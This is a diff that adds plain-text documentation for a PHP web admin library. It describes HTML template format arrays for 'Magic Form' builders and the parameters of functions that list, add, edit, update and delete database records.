+                                                                       <!--{if:descr}-->{descr}<br><!--{/if:descr}-->
+                                                                       <!--{if:image}-->{image}<br><!--{/if:image}-->
+                                                                       {input}
+                                                                       <!--{if:sub_forms}--><br><ol>{sub_forms}</ol><!--{/if:sub_forms}-->
+                                                               </ul>',                                                                                                                                                                                                                         // Text for each column
+                               'col_empty'     => '',                                                                                                                                                                                                                                  // Text for empty columns
+                               'row_end'       => '',                                                                                                                                                                                                                                  // Text for end of each row
+                               'end'           => '',                                                                                                                                                                                                                                  // Text when switching to different style
+                               'sub_form'      => '<ul>{sub_form}</ul>'                                                                                                                                                                                                // Text for each sub-form (yes, there could be multiples)
+                               ),
+                               
+       'Prompt/Input on single line' =>        array
+                               (
+                               'types'         => ' 1 2 3 4 5 6', 
+                               'short_name' => 'Single Line',
+                               'cols'          => 1,                           
+                               'start'         => '',                          
+                               'row_start'     => '',          
+                               'body'          => '<!--{if:required}--><font color="red">{title}</font><!--{else:required}<b>{title}</b>{/if:required}-->
+                                                                       <!--{if:image}-->{image}<!--{/if:image}-->
+                                                                       {input}
+                                                                       <!--{if:sub_forms}--><br><ol>{sub_forms}</ol><!--{/if:sub_forms}-->
+                                                               ',      
+                               'col_empty'     => '',          
+                               'row_end'       => '',  
+                               'end'           => '',  
+                               'sub_form'      => '<ul>{sub_form}</ul>'        
+                               ),
+                               
+       '2 Column Table' =>     array
+                               (
+                               'types'         => ' 1 2 3 4 5 6 ', 
+                               'short_name' => '2 Column',
+                               'cols'          => 2,
+                               'start'         => '<center><table border="0" cellspacing="0" cellpadding="2" width="90%">',
+                               'row_start'     => '<tr>',
+                               'body'          => '<td align="left" valign="top" width="50%">
+                                                                       <b><!--{if:required}--><font color="red">{title}</font><!--{else:required}{title}{/if:required}--></b><br>
+                                                                       <!--{if:descr}-->{descr}<!--{/if:descr}--><br>
+                                                                       {input}
+                                                                       <!--{if:sub_forms}--><p>{sub_forms}<!--{/if:sub_forms}-->
+                                                               ',
+                               'col_empty'     => '<td>&nbsp;</td>',
+                               'row_end'       => '</tr>',
+                               'end'           => '</table></center><p>',
+                               'sub_form'      => '{sub_form}<br>'
+                               ),
+                               
+Note that each format element has a list of field "types" with which it can
+be used. The magic_form_edit() function will read the list of "types" for 
+each format specification and select the first format found for a particular
+field type as the default for that type. Only those formats that have a
+particular field type will be available for that type. The field types are...
+
+               1       Checkbox
+               2       Number
+               3       Text
+               4       Text Box
+               5       Picklist
+               6       Radio Buttons
+               20      Section Title
+               21      Misc. Text
+               22      Horizontal Line
+               23      Blank Line
+               24      Image
+               31      Calculated Field  (not implimented)
+
+
+------------------------------------------------------------------------
+       array   magic_form_edit( int $mf_id, array $mf_format, in5 $mf_level )
+------------------------------------------------------------------------
+
+This function is a complete user interface for building a form. Simply call
+this function with a unique form id. Each time a change is requested by the
+user, the page will be submitted. When submitted, call this function again.
+The user requests will be passed back to it with global submitted parameters.
+
+       Parameters:                                                             
+               $mf_id          A unique int ID for this form
+               $mf_format      Format array
+               $mf_level       A sub-form level counter - Do not use!
+                                       This parameter is used internally to keep track of 
+                                       recursion into sub-forms.
+                                       
+
+       Return value:                           
+               Array containing the following elements
+               
+                       'success'       Boolean true, or false if there is a problem
+                       'modified'      Form has been modified in a way that old end-user
+                                               data may not be valid anymore.
+                       'text'          The full text of the form management ouput.
+                                               Send this text to the user's browser to display
+                                               form management interface.
+               
+       Global references:                                                      
+               MF_TABLE        SQL database table name to use
+               (various)       Various other user submitted form parameters. These
+                                       parameters all begin with 'mf_'.
+
+------------------------------------------------------------------------
+       array   magic_form_display( int $mf_id, array $mf_format, int $mf_fiid, 
+                                                               array $mf_def_data, int $mf_level )
+------------------------------------------------------------------------
+
+This function provides the HTML code to display a Magic Form to a user.
+
+       Parameters:
+               $mf_id                  A unique int ID for this form
+               $mf_format              Format array
+               $mf_fiid                ID of user data for this instance of the form. This is 
+                                               used when the user data is to be called from the database. 
+                                               Otherwise the $mf_def_data paramter can be used to 
+                                               provide data received by the magic_form_submit() function.
+               $mf_def_data    Array of default data. There is an element for each
+                                               field that should be populated with the provided
+                                               data, checked, or selected. The 'data' array returned
+                                               by the magic_form_submit() function can be used to 
+                                               supply this default data. The elements actually used
+                                               are the element index (id of the field) and 'value'.
+                                               This value is used either when this function is calling
+                                               it'self for a sub-form or when the data is being passed
+                                               by the application from a prior submission using the
+                                               magic_form_submit() function.
+               $mf_level               A sub-form level counter - Do not use!
+                                               This parameter is used internally to keep track of 
+                                               recursion into sub-forms.
+
+       Return value:
+               Array containing the following elements
+               
+                       'success'       Boolean true, or false if there is a problem
+                       'text'          The full text of the form management ouput.
+                                               Send this text to the user's browser to display
+                                               the final form.
+                       'required'      Boolean flag indicating if there are any "required"
+                                               fields. This can be used to determine if some text
+                                               should be displayed to the user about required fields.
+                                               
+       Global references:                                                      
+               MF_TABLE                SQL database table name to use
+               (various)               Various other user submitted form parameters. These
+                                               parameters all begin with 'mf_' and then the numeric 
+                                               record id of the form element from the MF_TABLE.
+
+
+
+------------------------------------------------------------------------
+       array   magic_form_submit( int $mf_id, int $mf_fiid, array $mf_def_data, int $mf_level )
+------------------------------------------------------------------------
+
+This function is used to process a user submitted form that was created by
+the magic_form_display() function. It can optionally accept an array of data
+to be used as the default values for each field.
+
+       Parameters:
+               $mf_id                  A unique int ID for this form
+               $mf_fiid                A unique ID used as a key to store submitted data.
+                                               If this parameter is "null" then data is not stored.
+               $mf_def_data    An array of user data from a prior use of this function.
+                                               When this parameter is supplied, this data is used rather
+                                               than checking for form submission data. This permits 
+                                               reprocessing of sumbitted data for the purpose of storing
+                                               the data or generating the HTML, CSV, or other results.
+               $mf_level               A sub-form level counter - Do not use!
+                                               This parameter is used internally to keep track of 
+                                               recursion into sub-forms.
+
+       Return value:
+               Array containing the following elements
+               
+                       'success'       Boolean true, or false if there is a problem
+                       'data'          Array of data results. Each element is a field result.
+                                               This array can be supplied back to magic_form_display() as the
+                                               $mf_def_data array to supply default values for fields.
+                                               The index of each field result is the record id of that
+                                               field in MF_TABLE. Each field result is an array containing...
+                                               
+                                                       'id'            Field id
+                                                       'title'         Field title
+                                                       'type'          Field type number
+                                                       'txt_typ'       Field type name
+                                                       'value'         Submitted value
+                                                       'txt_val'       Text version of result (for things like
+                                                                               boolean true/false results)
+                                                       'opt_num'       Option number for checkbox, picklist, & radio buttons
+                                                       'valid'         Boolean flag indicating whether the field
+                                                                               data is valid
+                                                       'required'      Boolean flag indicating if field is required
+                                                       'failure'       Text string indicating any submission problem
+                       
+                       'html'          HTML code to display a table of the results
+                       'csv'           Results prepaired as .csv (quoted, comma separated)
+                       'problem'       Text listing any submission problems, such as 
+                                               required fields that weren't completed
+                                               
+       Global references:                                                      
+               MF_TABLE        SQL database table name to use
+               (various)       Various other user submitted form parameters. These
+                                       parameters all begin with 'mf_' and then the numeric 
+                                       record id of the form element from the MF_TABLE.
+       
+------------------------------------------------------------------------
+       bool    magic_form_store_data( int $mf_id, int $mf_fiid, array $mf_def_data )
+------------------------------------------------------------------------
+
+This function simply stores the data supplied in the $mf_def_data array (generated
+by a previous call to magic_form_submit(). The data is stored with the unique $mf_fiid
+to specify this particular instance of the submitted form data. Any information that
+had been previously stored for the speficied $mf_fiid is deleted before storing the
+new data.
+
+       Parameters:
+               $mf_id                  A unique int ID for this form
+               $mf_fiid                A unique ID used as a key to store this instance of
+                                               the submitted data.
+               $mf_def_data    An array of user data from a prior call to magic_form_submitt().
+
+       Return value:
+               bool                    Success (true) of Failure (false)
+               
+       Global references:
+               (none)
+               
+
+************************************************************************
+*                                                                      *
+*            SUPPORT FOR HIGH-LEVEL ADMIN FUNCTIONS                    *
+*                                                                             *
+************************************************************************
+
+------------------------------------------------------------------------
+       array   explode_trim( string $separator, string $string )
+------------------------------------------------------------------------
+
+Explodes a string into pieces and trims whitespace from ends of each piece. 
+
+       Parameters:                                                             
+               $separator      Delimiter character
+               $string         String to explode
+
+       Return value:                           
+               Array containing exploded, trimmed strings
+
+       Global references:                                                      
+               None                                                    
+
+
+************************************************************************
+*                                                                      *
+*                   HIGH-LEVEL ADMIN FUNCTIONS                         *
+*                                                                             *
+************************************************************************
+
+
+------------------------------------------------------------------------
+       array   admin_process_records_r( string $table, string $where, string $order, 
+                                               string $conn_str, int $id, array $fields, string $options, 
+                                               int $rows, string $url, string $action, 
+                                               string $params, string $a_title, string $view 
+                                               string $Option, string $other_opt ) 
+       void    admin_process_records( string $table, string $where, string $order, 
+                                               string $conn_str, int $id, array $fields, string $options, 
+                                               int $rows, string $url, string $action, 
+                                               string $params, string $a_title, string $view 
+                                               string $Option, string $other_opt ) 
+------------------------------------------------------------------------
+
+This is the whole kitten-kabootle. Call this to fully process a table
+including add, edit, delete, view, and list.
+
+See various functions for full description of parameters
+
+       Parameters:                                                             
+               $table          Name of dabase table
+               $where          Any additional "WHERE" clause for query
+               $order          Any additional "ORDER BY" clause for query
+               $conn_str       Connect String                          
+               $id                     ID of current record
+               $fields         Array of fields as used by admin_field_select()
+               $options        Comma separated list of options
+               $rows           Maximum number of rows per page
+               $url            URL of next processing page
+               $action         Action to be passed to next processing page (says what we're working on)
+               $params         A "|" separated list of Additional parameters to be passed on links
+               $a_title        Page title to display
+               $view           Optional View to replace standard output for each Option type
+                                               This is an array where there is an element for each Option
+                                               where the indicies are 'Add', 'Add New', 'Edit', 'Update', ...
+               $Option         Current Option (Add, Edit, ... )
+               $start          Starting record for lists
+               $other_opt      Other options to pass to subsequent admin functions
+               $title_view     Optional View to replace normal title output.
+
+       Return value:                           
+               admin_process_records_r()               returns array( 'text' => {text to display}, 'status' => {return status} );
+               admin_process_records()                 (none)                  
+
+       Global references:                                                      
+               None
+
+
+------------------------------------------------------------------------
+       array   admin_list_records_r( string $table, sting $where, string $oder,
+                               string $conn_str, string $fields, 
+                               string $options, int $rows, int $start,
+                               string $url, string $action, 
+                               string $params, string $filters, 
+                               string $a_title )
+       void    admin_list_records( string $table, sting $where, string $oder,
+                               string $conn_str, string $fields, 
+                               string $options, int $rows, int $start,
+                               string $url, string $action, 
+                               string $params, string $filters, 
+                               string $a_title )
+------------------------------------------------------------------------
+
+The auto function retrieves the desired data using the query string,
+then builds a table of the results and displays it along with paging.  
+
+The displayed table can optionally have edit, and delete funtions for
+each result.
+
+If options are specified, then links are placed at the end of each
+data record for each of the specified options. An additional parameter
+(Option) is passed to the page to indicate the options that was selected
+by the user. It will be "New", "Add New", "Display", "Edit" or "Delete".
+
+If option "new" is selected, then a link to add a new entry is placed
+at the top of the page.
+
+If option "filter" is selected, then a filter form is placed at the
+top. 
+
+       Parameters:                                                             
+               $table          Name of dabase table
+               $where          Any additional "WHERE" clause for query
+               $order          Any additional "ORDER BY" clause for query
+                                       {field}.{nav_option}.{nav_option}|{field}|{field}|
+                                       Where: {nav_option} 
+                                               "order_descending" - Use Descending order for this field
+               $conn_str       Connect String                          
+               $fields         List of fields to display (see below)
+               $options        Comma separated list of options
+                                       new                     = Provide new option
+                                       view            = Profide display option
+                                       edit            = Provide edit option
+                                       delete          = Provide delete option
+                                       filter          = Provide search fields
+                                       sortlinks       = Make column headers clickable to resort by that column
+                                       nopageing       = Don't display paging links
+                                       noborder        = Don't display table borders
+                                       opview.v        = View text for Operation Column
+                                                                       v = View text, can use {n}, {encode:n}, {link_params}, {form_params}
+                                                                               Can also user predefined links {op_view}, {op_edit}, {op_delete}, {op_duplicate},
+                                                                                       {op_url} <- base url, {op_id} <- id of current record
+               $fail_mode      Failure Mode
+                                       TRUE    = Abort with HTML
+                                       FALSE   = Return with fail code
+               $rows           Maximum number of rows per page
+               $start          Start at this row and retrieve up to $rows rows
+               $url            URL of next processing page
+               $action         Action to be passed to next processing page (says what we're working on)
+               $params         A "|" separated list of Additional parameters to be passed on links
+                                       {name}.{value}|{name}.{value}|...
+               $filters        A "|" separated list of fields to provide search
+                                       capability for. Each field is specified as
+                                                       {field},{type},{title},[ignore],{value}                         // SOMEDAY WE HAVE TO USE A DIFFERENT DELIMITER THAN ","
+                                       Where:  {field} = Field to filter on
+                                                       {type}.....{option}     = Type of field - Option specified in filter sub-field [5]
+                                                                                       Otherwise type uses normal type sub-fields
+                                                               Where: {option} = 
+                                                                       any    - Match the text in any case anywhere in the field - case insensitive
+                                                                                       (This is the default type option)
+                                                                       exact  - Exact match (default for type pointer)
+                                                               like   - Match the text anywhere in the field - case sensitive
+                                                                       begin  - Match the text at the beginning only - case insensitive
+                                                       {title} = Title for input field
+                                                       {value} = Parameter with Supplied value 
+                                       Only required is option "filter" is selected
+                                       Special field type "daterange" permits filtering by range of dates
+               $a_title                Page title to display
+               $view           Optional View to replace standard output - May contain
+                                       {n}             - Replace with value of parameter n
+                                       {encode:n}      - Replace with urlencoded() value of paramter n
+                                       {filter}        - Filter input form
+                                       {link_params}   - Additional Parameters in Link format
+                                       {form_params}   - Additional parameters in form format (hidden fields)
+                                       {new}           - Create new record link
+                                       {nav}           - Pagenation nav links
+                                       {body}          - Designates start of body
+                                       {section}       - Designates a separation between sections
+                                               Sections are used round-robin fasion for record output.
+                                       {/body}         - Designates end of body
+
+                               Output is built as...
+                                       1) $a_title
+                                       2) Content before {body}
+                                       3) Records displayed round-robin with sections
+                                       4) Content after {/body}
+
+       $fields parameter is a string with mulitple field declarations.
+
+               "{name},{type}`{format},{title}|{name},{type},{title}|..."
+
+       Where:  {name}  = Name of the data field in the database
+               {type}  = Type - how it should be displayed
+                               int     - Integer value
+                               fixed.n - Fixed precision, "n" digits after "."
+                               float   - Floating value
+                               money   - Money (outputs as $xxx,xxx.xx)
+                               text    - Simple text field
+                               password - Same as text except that output is displayed as *'s
+                               textbox - Same as text
+                               url             - Web page link
+                               date    - Date field (currently same as text)
+                               image.s - Image of size "s"
+                                               o = Original
+                                               r = Resized
+                                               m = Midsized
+                                               t = Thumb
+                               file.d.{options} - File (displays file name as a link)  
+                                               d = Directory under base path for site
+                                               {options} include 
+                                                       secure = display using secure output to protect directory (need to protect directory using .htaccess)
+                                                               Use display_secure_file() function to output file
+                               list.{list}.{default}.{picklist_options} - List of options from picklist
+                               state.{default} - Special case of list
+                               country.{default}       - Special case of list
+                               pointer - Pointer to data in anohter table (see below)
+                               checkbox - Yes/No boolian field
+                               lat.n   - Latitude (stored as deg, + = N) (n = precision)
+                               lon.n   - Longitude (stored as deg, + = E) (n = precision)
+                               order   - Output order spec
+               {title} = Title for table header
+               {format} = Optional format spec for output, use {field_name} style tags to include 
+                                       any other raw field data from another field in the list. Only used when 
+                                       $view is not specified.
+
+       Type "pointer" has a sub-structure for the "{type}" field
+               {type}.{other_table}.{disp_field}.{value_field}.{where}
+                       {disp_field} can specify multiple fields separated by "~"
+       
+       Where:  {type}          = "pointer"
+               {other_table}   = Table used to get data
+               {disp_field}    = Field in {other_table} to output to user for each <OPTOIN..>
+               {value_field}   = When specified, is the field the value must match rather than "id"
+                                       (for now, this field must be an integer)
+               {where}         = WHERE field of query to use for selecting data from {other_table}
+                                       (optional - defaults to none)
+
+       Return value:                           
+               admin_list_records_r()          returns array( 'text' => {text to display}, 'status' => {return status} );
+               admin_list_records()            (none)                  
+
+       Global references:                                                      
+               None
+
+
+
+------------------------------------------------------------------------
+       array   admin_new_record_r( string $table,
+                               string $conn_str, string $fields, 
+                               string $url, string $action, string $params
+                               string $params, string $a_title, string $view, 
+                               string $options )
+       void    admin_new_record( string $table,
+                               string $conn_str, string $fields, 
+                               string $url, string $action, string $params
+                               string $params, string $a_title, string $view, 
+                               string $options )
+------------------------------------------------------------------------
+
+This function builds a new entry input form with the specified fields.                                                                 
+
+       Parameters:                                                             
+               $table          Name of dabase table
+               $conn_str       Connect String                          
+               $fields         List of fields to display (see below)
+               $url            URL to page for submitting this form
+               $action         Value of "Action" parameter for program at $url
+               $params         A "|" separated list of Additional parameters to be passed on links
+                                       {name}.{value}|{name}.{value}|...
+               $a_title                Title of page
+               $view           Optional View to replace standard output - May contain
+                                       {n}             - Replace with value of parameter n
+                                       {encode:n}      - Replace with urlencoded() value of paramter n
+                                       {submit}        - submit button
+                                       {link_params}   - Additional parameters in link format
+                                       {form_params}   - Additional parameters in form format (hidden fields)
+               $options        Optional control options - comma separated
+                                               "borders" = Turn on borders in table
+
+       $fields parameter is a string with mulitple field declarations.
+
+               "{name},{type},{title},{required},{value}|{name},{type},{title},{required},{value}|..."
+
+       Where:  {name}  = Name of the data field in the database
+               {type}  = Type - how it should be displayed
+                               int.w           - Integer value
+                               fixed.n         - Fixed precision
+                               float.w         - Floating value
+                               money           - Formats as $xx.xx
+                               text.w          - Simple text field
+                               password.w      - Same as text field except that input is displayed as *'s
+                               url.w           - Web link
+                               date.d1.d2.o.ne - Date field (currently same as text)
+                               textbox.w.h     - Textbox
+                               richtext.w.h    - Textbox with enhanced editing - w & h in pixels
+                                                                       use w > 550 and h > 100
+                               file.e          - File (file type (e) is optional)
+                               image           - Image 
+                               pointer.t.f.v.q.p.s - Pointer to data in another table (see below)
+                               checkbox        - True/False field, Presented as Checkbox
+                               lat.n           - Latitude (stored as deg, + = N) (n = precision)
+                               lon.n           - Longitude (stored as deg, + = E) (n = precision)
+                               bitmap.b        - Bitmapped check boxes, Names for each bit listed in 
+                                                       sequence in b
+                               list.{list}.{default}.p - List of options for picklist/display (see below)
+                               state.{default}.p       - Special form of list, uses state table from siteinfo.inc
+                               break.{text}    - Break in list - Displays {text} in value field
+                               order           - Output order value (automatically normalized)
+                                                       
+                       where:  w = Width, h = height, n = # of digits, 
+                               t = table, b = "~" separated list
+                               f = Field in other table from which to get displayed text
+                               v = Field in other table from which to get value (if other than "id")
+                               q = Optional WHERE clause
+                               e = Optional File type required (extension)
+                               p = Pick list build options - {option1}~{option2}~...
+                                       (see build_picklist() for options)
+                               s = Field in other table used to sort results retrieved from that table
+                               d1 = Number of days before current date to permit selection
+                               d2 = Number of days after current date to permit selection
+                               o  = Date selection options - see calendar_date_select() function
+                               ne = Name of other field that this date field should default to no earlier than
+
+               {title} = Title for table header
+               {required} = Required field (TRUE/FALSE/UNIQUE/SUPPLIED/DISPLAY/HIDDEN)
+               {value} = Name of variable containing supplied/hidden/displayed value
+                               For checkboxes use "CHECKED"
+
+       {required} value descriptions
+               TRUE            = Normal input field, must be filled in
+               FALSE           = Normal input field, optionally filled in
+               UNIQUE          = Normal Input field, must be filled in, must be unique (type "text" only)
+               SUPPLIED        = Value for input field is supplied, may be changed by user
+               DISPLAY         = Value for field is supplied in variable who's name is listed and displayed, but can't be changed
+               HIDDEN          = Value for field is supplied in variable who's name is listed, passed on in "hidden" input field
+
+       Type "pointer" has a sub-structure for the "{type}" field
+               {type}.{other_table}.{disp_field}.{value_field}.{where}
+
+       Where:  {type}          = "pointer"
+               {other_table}   = Table used to get data
+               {disp_field}    = Field in {other_table} to output to user for each <OPTOIN..>
+               {value_field}   = Use the field specified here for the OPTION VALUE rather than "id"
+                                                       (optional - defaults to "id")
+               {where}                 = WHERE field of query to use for selecting data from {other_table}
+                                                       (optional - defaults to none)
+               {pick_opt}              = Picklist options separated by '~' ( see build_picklist() ) 
+
+       Type "list" builds a pick list using the "~" separated list {list}
+               {value}^{option}~{value}^{option}~...
+                       Where   {value}         = Value provided when option selected
+                               {option}        = Text displayed for picklist entry
+
+               This will use the indicated table and fields as source for a pick list
+
+       Return value:                           
+               admin_new_record_r()            returns array( 'text' => {text to display}, 'status' => {return status} );
+               admin_new_record()                      (none)                  
+
+       Global references:                                                      
+               None                                                    
+
+
+------------------------------------------------------------------------
+       array   admin_add_new_record_r( string $table,
+                               string $conn_str, string $fields, 
+                               string $url, string $action, string $params, string $a_title )
+       int             admin_add_new_record( string $table,
+                               string $conn_str, string $fields, 
+                               string $url, string $action, string $params, string $a_title )
+------------------------------------------------------------------------
+
+This function adds a record submitted from a form produced by the
+admin_new_record() function.                                                                   
+
+       Parameters:                                                             
+               $table          Name of dabase table
+               $conn_str       Connect String                          
+               $fields         List of fields to submit (see below)
+               $url            URL to page for submitting this form
+               $action         Value of "Action" parameter for program at $url
+               $params         A "|" separated list of Additional parameters to be passed on links
+                                       {name}.{value}|{name}.{value}|...
+               $a_title                Title of page
+               $view           Optional View to replace standard output - May contain
+                                       {n}             - Replace with value of parameter n
+                                       {encode:n}      - Replace with urlencoded() value of paramter n
+                                       {link_params}   - Additional parameters in Link format
+                                       {form_params}   - Additional parameters in Form format (hidden fields)
+                                       {result}        - Results of submission
+                                                       
+       $fields parameter is a string with mulitple field declarations.
+
+               "{name},{type},{required},{value}|{name},{type},{title},{required},{value}|..."
+
+       Where:  {name}  = Name of the data field in the database
+               {type}  = Type - how it should be displayed
+                               int             - Integer value
+                               fixed           - Fixed precision
+                               float           - Floating value
+                               money           - Money formatted
+                               text            - Simple text field
+                               password        - Same as text
+                               state           - Same as text
+                               textbox         - Same as text
+                               date            - Date
+                               url                     - Web link
+                               image           - Image 
+                               pointer         - Pointer value (expects integer value ID of other record)
+                               file            - File
+                               lat.n           - Latitude (stored as deg, + = N) (n = precision)
+                               lon.n           - Longitude (stored as deg, + = E) (n = precision)
+                               order           - Ouput order field - (future - normalized by this function to 10's after insert)
+               {title} = Title of field for error output if not supplied
+               {required} = Required field (TRUE/FALSE/UNIQUE/SUPPLIED)
+               {value} = Parameter name of supplied data
+                       (for SUPPLIED assign the value to a variable
+                        and pass the variable name)
+
+       Return value:                           
+               admin_add_new_record_r()                returns array( 'text' => {text to display}, 'status' => {return status} );
+               admin_add_new_record()                  oid - If successfull, otherwise 0
+
+       Global references:                                                      
+               $HTTP_POST_VARS, $HTTP_POST_FILES       
+
+------------------------------------------------------------------------
+       array   admin_edit_record_r( string $table, string $conn_str, 
+                               int $id, string $fields, 
+                               string $url, string $action, string $params, string $a_title,
+                               string $view, string $options )
+       void    admin_edit_record( string $table, string $conn_str, 
+                               int $id, string $fields, 
+                               string $url, string $action, string $params, string $a_title,
+                               string $view, string $options )
+------------------------------------------------------------------------
+
+This function builds an edit entry input form with the specified fields.                                                                       
+
+       Parameters:                                                             
+               $table          Name of dabase table
+               $conn_str       Connect String                          
+               $id             Unique value of "id" field of record to edit
+               $fields         List of fields to display (see below)
+               $url            URL to page for submitting this form
+               $action         Value of "Action" parameter for program at $url
+               $params         A "|" separated list of Additional parameters to be passed on links
+                                       {name}.{value}|{name}.{value}|...
+               $a_title                Title of page
+               $view           Optional View to replace standard output - May contain
+                                       {n}             - Replace with value of parameter n
+                                       {encode:n}      - Replace with urlencoded() value of paramter n
+                                       {link_params}   - Additional parameters in Link format
+                                       {form_params}   - Additional parameters in Form format (hidden fields)
+                                       {submit} is submit button
+               $options        Optional control options - comma separated
+                                               "borders" = Turn on borders in table
+                                                       
+       $fields parameter is a string with mulitple field declarations.
+
+               "{name},{type},{title},{required},{value}|{name},{type},{title},{required},{value}|..."
+
+       Where:  {name}  = Name of the data field in the database
+               {type}  = Type - how it should be displayed
+                               int.w                   - Integer value
+                               fixed.n                 - Fixed precision
+                               float.w                 - Floating value
+                               money.w                 - Money formatted
+                               text.w                  - Simple text field
+                               password.w              - Same as text except that input is displayed as *'s
+                               text.w                  - Web link
+                               textbox.w.h     - Textboxd
+                               richtext.w.h    - Textbox with enhanced editing - w & h in pixels
+                                                                       use w > 550 and h > 100
+                               date.d1.d2.o.ne - Date field
+                               image                   - Image 
+                               pointer.t.f.v.q.p.s     - Pointer to data in anohter table (see below)
+                               list.{list}.{default}.p - List of options for picklist/display (see below)
+                               state.{default}.p       - Special form of list - uses states table from siteinfo.inc
+                               country.{default}.p     - Special form of list - uses countries table from siteinfo.inc
+                               break.{text}    - Break in list - Displays {text} in value field
+                               lat.n                   - Latitude (stored as deg, + = N) (n = precision)
+                               lon.n                   - Longitude (stored as deg, + = E) (n = precision)
+                               order                   - Output order field
+
+                       where:  w = Width, h = height, n = # of digits, 
+                               t = table, f = field, q = Optional WHERE clause
+                               v = Field in other table from which to get value (other than "id")
+                               p = Pick list build options - {option1}~{option2}~...
+                                       (see build_picklist() for options)
+                               s = Field in other table used to sort query resuts
+                               d1 = Number of days before current date to permit selection
+                               d2 = Number of days after current date to permit selection
+                               o  = Date selection options - see calendar_date_select() function
+                               ne = Name of other field that this date field should default to no earlier than
+
+               {title} = Title for table header
+               {required} = Required field (TRUE/FALSE/UNIQUE/SUPPLIED/DISPLAY/HIDDEN)
+               {value} = Parameter name of supplied data
+                       (for SUPPLIED/DISPLAY/HIDDEN assign the value to a variable 
+                        and pass the variable name)
+                       Also, if this value is used for type pointer, it will use it to match
+                               the "SELECTED" option in the pick list
+
+       Type "pointer" has a sub-structure for the "{type}" field
+               {type}.{other_table}.{disp_field}.{value_field}.{where}
+       
+       Where:  {type}          = "pointer"
+               {other_table}   = Table used to get data
+               {disp_field}    = Field in {other_table} to output to user for each <OPTOIN..>
+               {value_field}   = Use the field specified here for the OPTION VALUE rather than "id"
+                                       (optional - defaults to "id")
+               {where}         = WHERE field of query to use for selecting data from {other_table}
+                                       (optional - defaults to none)
+
+       Type "list" builds a pick list using the "~" separated list {list}
+               {value}^{option}~{value}^{option}~...
+                       Where {option}  = Text displayed for picklist entry
+
+               This will use the indicated table and field as source for a pick list
+
+       Return value:                           
+               admin_edit_record_r()           returns array( 'text' => {text to display}, 'status' => {return status} );
+               admin_edit_record()                     (none)
+
+       Global references:                                                      
+               None                                                    
+
+
+------------------------------------------------------------------------
+       array   admin_update_record_r( string $table, string $conn_str, int $id,
+                               string $fields, string $url, string $action, string $params
+                               string $a_title, string $view )
+       void    admin_update_record( string $table, string $conn_str, int $id,
+                               string $fields, string $url, string $action, string $params
+                               string $a_title, string $view )
+------------------------------------------------------------------------
+
+This function updates a record submitted from a form produced by the
+admin_edit_record() function.
+
+       Parameters:                                                             
+               $table          Name of dabase table
+               $conn_str       Connect String
+               $id             Unique value of the "id" field of the record to update
+               $fields         List of fields to update (see below)
+               $url            URL to page for submitting this form
+               $action         Value of "Action" parameter for program at $url
+               $params         A "|" separated list of Additional parameters to be passed on links
+                                       {name}.{value}|{name}.{value}|...
+               $a_title                Title of Page
+               $view           Optional View to replace standard output - May contain
+                                       {n}             - Replace with value of parameter n
+                                       {encode:n}      - Replace with urlencoded() value of paramter n
+                                       {link_params}   - Additional parameters in Link format
+                                       {form_params}   - Additional parameters in Form format (hidden fields)
+                                       {result}        - Result of submission
+                                                       
+       $fields parameter is a string with mulitple field declarations.
+
+               "{name},{type},{required},{value}|{name},{type},{title},{required},{value}|..."
+
+       Where:  {name}  = Name of the data field in the database
+               {type}  = Type - how it should be displayed
+                               int             - Integer value
+                               fixed           - Fixed precision
+                               float           - Floating value
+                               money           - Money formatted
+                               text            - Simple text field
+                               text            - Same as text
+                               state           - Same as text
+                               textbox         - Same as text
+                               date            - Date
+                               url                     - Web link
+                               image           - Image 
+                               pointer         - Pointer (expects integer value ID of other record)
+                               lat.n           - Latitude (stored as deg, + = N) (n = precision)
+                               lon.n           - Longitude (stored as deg, + = E) (n = precision)
+                               order           - Ouput order spec - (future - normalize to every 10 after update)
+               {title} = Title of field for error output if not supplied
+               {required} = Required field (TRUE/UNIQUE/FALSE/SUPPLIED)
+               {formfield} = Name of form field with supplied data
+                       (for SUPPLIED assign the value to a variable 
+                        and pass the variable name)
+
+       Return value:                           
+               admin_update_record_r()                 returns array( 'text' => {text to display}, 'status' => {return status} );
+               admin_update_record()                   (none)
+
+       Global references:                                                      
+               $HTTP_POST_VARS, $HTTP_POST_FILES       
+
+
+------------------------------------------------------------------------
+       array   admin_delete_record_r( string $table, string $conn_str, $id,
+                               string $fields, string $options, 
+                               string $url, string $action, string $params, string $a_title )
+       void    admin_delete_record( string $table, string $conn_str, $id,
+                               string $fields, string $options, 
+                               string $url, string $action, string $params, string $a_title )
+------------------------------------------------------------------------
+
+This function retrieves data for the specified record, displays it
+then askes the user to acknowledge if they want the record deleted.
+
+Display of the record data is handled similar to the admin_list_records()
+function.
+
+       Parameters:                                                             
+               $table          Name of dabase table
+               $conn_str       Connect String                          
+               $id             Unique of the "id" field of the record to delete
+               $fields         List of fields to display (see below)
+               $options        Comma separated list of options
+                                       strong = Strong confirmation,
+                                                requires user to type "Confirm"
+               $action         Value of "Action" parameter when calling program from links
+               $params         A "|" separated list of Additional parameters to be passed on links
+                                       {name}.{value}|{name}.{value}|...
+               $a_title                Title of Page - May contain {n} replacements
+               $view           Optional View to replace standard output - May contain
+                                       {n}             - Replace with value of parameter n
+                                       {encode:n}      - Replace with urlencoded() value of paramter n
+                                       {link_params}   - Additional parameters in Link format
+                                       {form_params}   - Additional parameters in Form format (hidden fields)
+                                       {submit} is submit button
+                                                       
+       $fields parameter is a string with mulitple field declarations.
+
+               "{name},{type},{title}|{name},{type},{title}|..."
+
+       Where:  {name}  = Name of the data field in the database
+               {type}  = Type - how it should be displayed
+                               int     - Integer value
+                               fixed:n - Fixed precision, "n" digits after "."
+                               float   - Floating value
+                               money   - Money formatted
+                               text    - Simple text field
+                               password - Same as text except that output is displayed as *'s
+                               state   - Same as text
+                               textbox - Same as text
+                               url             - Web link
+                               date    - Date field (currently same as text)
+                               image:s - Image of size "s"
+                                               o = Original
+                                               r = Resized
+                                               m = Midsized
+                                               t = Thumb
+                               pointer - Pointer to data in anohter table (see below)
+                               check.t.f = Check a field in other table for references to this record
+                                                       Do not delete if entries exist.
+                                                       t = name of other table
+                                                       f = field in other table that points to the ID of this record
+               {title} = Title for table header
+               {control} = Required field (SUPPLIED/DISPLAY/HIDDEN)
+               {formfield} = Name of form field with supplied data
+                       (for SUPPLIED assign the value to a variable 
+                        and pass the variable name - SUPPLIED is not displayed)
+
+       Type "pointer" has a sub-structure for the "{type}" field
+               {type}.{other_table}.{disp_field}.{value_field}.{where}
+       
+       Where:  {type}          = "pointer"
+               {other_table}   = Table used to get data
